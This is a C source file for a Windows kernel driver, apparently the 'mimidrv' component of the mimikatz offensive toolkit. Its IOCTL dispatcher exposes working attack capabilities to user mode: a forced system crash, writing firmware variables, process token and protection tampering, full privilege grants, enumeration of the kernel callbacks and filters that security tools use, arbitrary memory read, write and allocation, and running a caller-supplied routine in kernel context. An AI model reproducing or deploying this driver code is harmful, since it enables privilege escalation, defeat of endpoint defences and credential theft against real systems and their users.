213 lines
6.9 KiB
C
213 lines
6.9 KiB
C
/* Benjamin DELPY `gentilkiwi`
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http://blog.gentilkiwi.com
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benjamin@gentilkiwi.com
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Licence : https://creativecommons.org/licenses/by/4.0/
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*/
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#include "mimidrv.h"
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UNICODE_STRING
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uStrDriverName = {30, 32, L"\\Device\\" MIMIDRV},
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uStrDosDeviceName = {38, 40, L"\\DosDevices\\" MIMIDRV};
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NTSTATUS UnSupported(PDEVICE_OBJECT DeviceObject, PIRP Irp)
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{
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return STATUS_NOT_SUPPORTED;
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}
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void DriverUnload(IN PDRIVER_OBJECT theDriverObject)
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{
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IoDeleteSymbolicLink(&uStrDosDeviceName);
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IoDeleteDevice(theDriverObject->DeviceObject);
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}
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NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath)
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{
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NTSTATUS status = STATUS_NOT_SUPPORTED;
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PDEVICE_OBJECT pDeviceObject;
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ULONG i;
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if(KiwiOsIndex = getWindowsIndex())
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{
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status = IoCreateDevice(theDriverObject, 0, &uStrDriverName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &pDeviceObject);
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if(NT_SUCCESS(status))
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{
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for(i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
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theDriverObject->MajorFunction[i] = UnSupported;
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theDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = MimiDispatchDeviceControl;
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theDriverObject->DriverUnload = DriverUnload;
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pDeviceObject->Flags &= ~DO_DEVICE_INITIALIZING;
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IoCreateSymbolicLink(&uStrDosDeviceName, &uStrDriverName);
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status = AuxKlibInitialize();
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}
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}
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return status;
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}
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typedef NTSTATUS (NTAPI * PZWSETSYSTEMENVIRONMENTVALUEEX) (__in PUNICODE_STRING VariableName, __in LPGUID VendorGuid, __in_bcount_opt(ValueLength) PVOID Value, __in ULONG ValueLength, __in ULONG Attributes);
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NTSTATUS kkll_m_sysenvset(SIZE_T szBufferIn, PVOID bufferIn, PKIWI_BUFFER outBuffer)
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{
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NTSTATUS status = STATUS_NOT_FOUND;
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UNICODE_STRING uZwSetSystemEnvironmentVariableEx, uVar;
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PZWSETSYSTEMENVIRONMENTVALUEEX ZwSetSystemEnvironmentValueEx;
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PMIMIDRV_VARIABLE_NAME_AND_VALUE vnv = (PMIMIDRV_VARIABLE_NAME_AND_VALUE) bufferIn;
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RtlInitUnicodeString(&uZwSetSystemEnvironmentVariableEx, L"ZwSetSystemEnvironmentValueEx");
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RtlInitUnicodeString(&uVar, vnv->Name);
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if(ZwSetSystemEnvironmentValueEx = (PZWSETSYSTEMENVIRONMENTVALUEEX) MmGetSystemRoutineAddress(&uZwSetSystemEnvironmentVariableEx))
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status = ZwSetSystemEnvironmentValueEx(&uVar, &vnv->VendorGuid, (PUCHAR) vnv + vnv->ValueOffset, vnv->ValueLength, vnv->Attributes);
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return status;
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}
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NTSTATUS MimiDispatchDeviceControl(IN OUT DEVICE_OBJECT *DeviceObject, IN OUT IRP *Irp)
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{
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NTSTATUS status = STATUS_NOT_SUPPORTED;
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PIO_STACK_LOCATION pIoStackIrp = NULL;
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size_t szBufferIn, szBufferOut, szReallyOut = 0;
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PVOID bufferIn, bufferOut;
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KIWI_BUFFER kOutputBuffer = {&szBufferOut, (PWSTR *) &bufferOut};
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ULONG i;
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PMDL pMdl;
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pIoStackIrp = IoGetCurrentIrpStackLocation(Irp);
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if(pIoStackIrp)
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{
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szBufferIn = pIoStackIrp->Parameters.DeviceIoControl.InputBufferLength;
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szBufferOut = pIoStackIrp->Parameters.DeviceIoControl.OutputBufferLength;
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bufferIn = pIoStackIrp->Parameters.DeviceIoControl.Type3InputBuffer;
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bufferOut = Irp->UserBuffer;
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switch(pIoStackIrp->Parameters.DeviceIoControl.IoControlCode)
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{
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case IOCTL_MIMIDRV_RAW:
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status = kprintf(&kOutputBuffer, L"Raw command (not implemented yet) : %s\n", bufferIn);
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break;
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case IOCTL_MIMIDRV_PING:
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status = kprintf(&kOutputBuffer, L"Input : %s\nOutput : %s\n", bufferIn, L"pong");
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break;
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case IOCTL_MIMIDRV_BSOD:
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KeBugCheck(MANUALLY_INITIATED_CRASH);
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break;
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case IOCTL_MIMIDRV_DEBUG_BUFFER:
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status = kprintf(&kOutputBuffer, L"in (0x%p - %u) ; out (0x%p - %u)\n", bufferIn, szBufferIn, bufferOut, szBufferOut);
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break;
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case IOCTL_MIMIDRV_SYSENVSET:
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status = kkll_m_sysenvset(szBufferIn, bufferIn, &kOutputBuffer);
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break;
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case IOCTL_MIMIDRV_PROCESS_LIST:
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status = kkll_m_process_enum(szBufferIn, bufferIn, &kOutputBuffer, kkll_m_process_list_callback, NULL); // input needed ?
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break;
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case IOCTL_MIMIDRV_PROCESS_TOKEN:
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status = kkll_m_process_token(szBufferIn, bufferIn, &kOutputBuffer);
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break;
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case IOCTL_MIMIDRV_PROCESS_PROTECT:
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status = kkll_m_process_protect(szBufferIn, bufferIn, &kOutputBuffer);
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break;
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case IOCTL_MIMIDRV_PROCESS_FULLPRIV:
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status = kkll_m_process_fullprivileges(szBufferIn, bufferIn, &kOutputBuffer);
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break;
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case IOCTL_MIMIDRV_MODULE_LIST:
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status = kkll_m_modules_enum(szBufferIn, bufferIn, &kOutputBuffer, kkll_m_modules_list_callback, NULL); // input needed ?
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break;
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case IOCTL_MIMIDRV_SSDT_LIST:
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status = kkll_m_ssdt_list(&kOutputBuffer);
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break;
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case IOCTL_MIMIDRV_NOTIFY_PROCESS_LIST:
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status = kkll_m_notify_list_process(&kOutputBuffer);
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break;
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case IOCTL_MIMIDRV_NOTIFY_THREAD_LIST:
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status = kkll_m_notify_list_thread(&kOutputBuffer);
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break;
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case IOCTL_MIMIDRV_NOTIFY_IMAGE_LIST:
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status = kkll_m_notify_list_image(&kOutputBuffer);
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break;
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case IOCTL_MIMIDRV_NOTIFY_REG_LIST:
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status = kkll_m_notify_list_reg(&kOutputBuffer);
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break;
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case IOCTL_MIMIDRV_NOTIFY_OBJECT_LIST:
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status = kkll_m_notify_list_object(&kOutputBuffer);
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break;
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case IOCTL_MIMIDRV_FILTER_LIST:
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status = kkll_m_filters_list(&kOutputBuffer);
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break;
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case IOCTL_MIMIDRV_MINIFILTER_LIST:
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status = kkll_m_minifilters_list(&kOutputBuffer);
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break;
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case IOCTL_MIMIDRV_VM_READ:
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status = kkll_m_memory_vm_read(bufferOut, bufferIn, szBufferOut);
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break;
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case IOCTL_MIMIDRV_VM_WRITE:
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status = kkll_m_memory_vm_write(bufferOut, bufferIn, szBufferIn);
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break;
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case IOCTL_MIMIDRV_VM_ALLOC:
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status = kkll_m_memory_vm_alloc(szBufferIn, (PVOID *) bufferOut);
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break;
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case IOCTL_MIMIDRV_VM_FREE:
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status = kkll_m_memory_vm_free(bufferIn);
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break;
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case IOCTL_MIMIDRV_CREATEREMOTETHREAD:
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status = ((PMIMIDRV_THREAD_INFO) bufferIn)->pRoutine(((PMIMIDRV_THREAD_INFO) bufferIn)->pArg);
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break;
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}
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if(NT_SUCCESS(status))
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szReallyOut = pIoStackIrp->Parameters.DeviceIoControl.OutputBufferLength - szBufferOut;
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}
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Irp->IoStatus.Status = status;
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Irp->IoStatus.Information = szReallyOut;
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IoCompleteRequest(Irp, IO_NO_INCREMENT);
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return status;
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}
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KIWI_OS_INDEX getWindowsIndex()
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{
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if(*NtBuildNumber > 15063) // forever 10 =)
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return KiwiOsIndex_10_1707;
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switch(*NtBuildNumber)
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{
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case 2600:
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return KiwiOsIndex_XP;
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break;
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case 3790:
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return KiwiOsIndex_2K3;
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break;
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case 6000:
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case 6001:
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case 6002:
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return KiwiOsIndex_VISTA;
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break;
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case 7600:
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case 7601:
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return KiwiOsIndex_7;
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break;
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case 8102:
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case 8250:
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case 9200:
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return KiwiOsIndex_8;
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case 9431:
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case 9600:
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return KiwiOsIndex_BLUE;
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break;
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case 10240:
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return KiwiOsIndex_10_1507;
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break;
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case 10586:
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return KiwiOsIndex_10_1511;
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break;
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case 14393:
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return KiwiOsIndex_10_1607;
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break;
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case 15063:
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return KiwiOsIndex_10_1707;
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break;
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default:
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return KiwiOsIndex_UNK;
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}
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} |